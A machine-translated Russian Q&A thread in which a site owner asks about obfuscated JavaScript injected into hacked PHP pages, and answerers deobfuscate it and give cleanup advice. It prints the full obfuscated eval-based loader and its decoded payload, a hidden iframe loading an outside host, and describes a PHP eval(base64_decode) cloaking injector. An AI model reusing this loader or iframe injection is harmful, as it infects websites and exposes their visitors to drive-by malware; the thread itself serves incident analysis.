Сайт был просто атакован, и javascript был введен в заголовок, что это значит?

Недавно был атакован один из наших веб-сайтов, в котором было изменено несколько файлов php. Эта модификация ввела javascript в начало страницы, но после того, как base64 расшифровал все это, я наткнулся на следующее, и я не знаю, как это сделать.

Есть ли у кого-нибудь опыт в этом материале и есть ли все равно, чтобы выяснить, что именно они пытались достичь?

<script>i=0;try{avasv=prototype;}catch(z){h="harCode";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v="e"+"va";}if(v)e=window[v+"l"];try{q=document.createElement("div");q.appendChild(q+"");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:"");for(;573!=i;i+=1){j=i;if(e)s=s+r["fromC"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>

Приукрашена:

i = 0;
try {
    avasv = prototype;
} catch (z) {
    h = "harCode";
    f = ['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');
    v = "e" + "va";
}
if (v) e = window[v + "l"];
try {
    q = document.createElement("div");
    q.appendChild(q + "");
} catch (qwg) {
    w = f;
    s = [];
}
r = String;
z = ((e) ? h : "");
for (; 573 != i; i += 1) {
    j = i;
    if (e) s = s + r["fromC" + ((e) ? z : 12)](w[j] * 1 + 42);
}
if (v && e && r && z && h && s && f && v) e(s);

Ответ 1

Я посмотрел на этот код, он сошел с ума.

Он начинается с try{avasv = prototype;}, который, очевидно, терпит неудачу. Затем он принимает некоторые переменные.

f - массив чисел (длина 573). z - harCode. К концу, там "fromC" + ((e) ? z : 12). Это создает fromCharCode (String.fromCharCode), который используется с массивом чисел, f (после добавления 42 к каждому числу). Кажется, это создает строку, которая должна быть eval ed.

Он получает eval ed следующим образом:

v = "e" + "va";
if (v) e = window[v + "l"];

Как вы видите, e есть window['eval'], или просто eval.

Итак, если вы замените:

if (v && e && r && z && h && s && f && v) e(s);

с:

if (v && e && r && z && h && s && f && v) console.log(s);

Затем вы можете видеть, какова цель этого кода. Я сделал это, и вот что вышло:

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='http://kyubdyyyb.lookin.at/?go=2' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}

function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://kyubdyyyb.lookin.at/?go=2');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

Я не знаю, что такое http://kyubdyyyb.lookin.at/?go=2, поэтому я предлагаю вам не туда.

Здесь, похоже, много избыточных проверок (например, (e) ? z : 12, e никогда не будет ложным). Вероятно, просто чтобы сделать код более запутанным.

Ответ 2

Я знаю, что это не прямой ответ, но похоже, что они достигли того, что хотели. Внесите произвольный script, который будет запускаться на вашем веб-сайте, чтобы сделать что-то злонамеренное.

Googling для "avasv = prototype" по сути просто перечисляет тонну зараженных сайтов, но несколько нездоровых просмотров показывают, что это распаковщик script.

То, что они пытались достичь, не важно. Они достигли этого. Они разместили вредоносное script в вашем веб-приложении, и оттуда они могут украсть конфиденциальные данные с вашего сервера и ваших посетителей, а благодаря XmlHttp отправить его обратно на свои собственные веб-серверы. Важно то, как вы собираетесь его очистить, прежде чем ваши посетители попадут под угрозу, и как вы собираетесь кодировать, чтобы предотвратить использование XSS и XSRF в будущем.

Надеюсь, у вас есть исходный контроль и вы можете вернуть свой сайт в предварительно зараженное состояние. Это будет порядок бизнеса № 1.

Если вы не слышали об этом, я настоятельно рекомендую регулярно посещать и учиться в http://www.OWASP.org как отличный способ узнать, как для предотвращения будущих происшествий.


Последнее замечание, даже если на вашем сайте нет конфиденциальных данных, вы по-прежнему ставите своих клиентов под угрозу, если они заходят на ваш сайт.

JavaScript может быть использован для сбора их комбинации имени пользователя и пароля, которую они могут использовать против других сайтов и потенциально украсть информацию о клиентах с этих сайтов. (В зависимости от того, как ваш сайт закодирован). Таким образом, очистка и защита ваших посетителей - это абсолютно порядок бизнеса №1, даже если это означает закрытие вашего сайта для "обслуживания"

It'll be hilarious the first few times this happens.

Наконец, есть некоторые хорошие советы от Google в их статье " Мой сайт взломан. Теперь что?

Ответ 3

Я тоже получил этот трюк, и это немного озадачило, потому что grepping для идентификации строк, таких как avasv = prototype, принес некоторые результаты, но удаление их не очистило заражение. Чтобы уточнить OP, выясняется, что он изначально вводил еще более интересный PHP, обычно в файлы index.php. Вы увидите php eval (base64_decode (...)) в них в строке 1.

Что делает этот код, и я не буду беспокоиться о повторной отправке, потому что это тривиально, декодирует и оценивает строку base64, содержащую некоторый php. Внутри этого кода используется базовый UA-checker, который ищет строки неинфекционных комбинаций браузера/ОС (mac, linux, google chrome browser и т.д.) И поисковых пауков/ботов. Именно поэтому вы не увидите вредоносный javascript, если вы попытаетесь найти в некоторых комбо браузерах/ОС или использовать curl/wget. Если он не найдет одну из перечисленных строк UA, он затем декодирует и эхо-сигнал script, видимый в OP, который также кодируется base64.

Итак, что вы хотите сделать, чтобы запустить его, является grep для "eval (base64_decode (" Нет никакой законной цели для этой конкретной комбинации функций, о которой я могу думать, поэтому вы должны иметь возможность отслеживать ее довольно быстро " и вытрите его. Это не исправит, конечно, исходный пункт заражения.